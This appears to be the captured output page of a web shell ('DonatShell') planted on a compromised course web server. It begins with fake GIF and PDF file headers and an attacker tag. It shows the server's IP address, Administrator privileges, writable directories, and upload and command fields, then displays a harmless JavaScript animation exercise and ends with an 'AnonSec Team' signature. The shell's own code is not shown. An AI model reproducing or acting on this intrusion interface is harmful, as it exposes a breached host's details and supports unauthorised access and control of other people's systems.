GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST1022/Resources/Week/10/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST1022/Resources/Week/10/animation_function_properties_setTimeout.js
"use strict";

//let e_animate = {};

function _Initialize() {
  myMove.e_animate = document.getElementById("animate");
}

function myMove() {
  //const e_animate = document.getElementById("animate");
  //myMove.e_animate = document.getElementById("container");
  let pos = 0;
  myMove.e_animate.style.top = pos + "px"; 
  myMove.e_animate.style.left = pos + "px";
  clearInterval(myMove.setIntervalId);
  console.log(`before id = ${myMove.setIntervalId}`);
  myMove.setIntervalId = setInterval(function(){frame(10);}, 5); // Continues until stopped.
  //setTimeout(function(){frame(5);}, 5); // Runs just once.
  console.log(`after id = ${myMove.setIntervalId}`);
  function frame(speed = 1) {
    if (pos == 350) {
      clearInterval(myMove.setIntervalId);
    } else {
      pos += speed;
      myMove.callCount++;
      myMove.e_animate.style.top = pos + "px"; 
      myMove.e_animate.style.left = pos + "px";
      //setTimeout(function(){frame(speed);}, 5);
    }
    console.log(`count = ${myMove.callCount}`);
  }
}
myMove.setIntervalId = null; // Make a global into a property of the myMove function.
myMove.callCount = 0;
myMove.e_animate = {};

Anon7 - 2022
AnonSec Team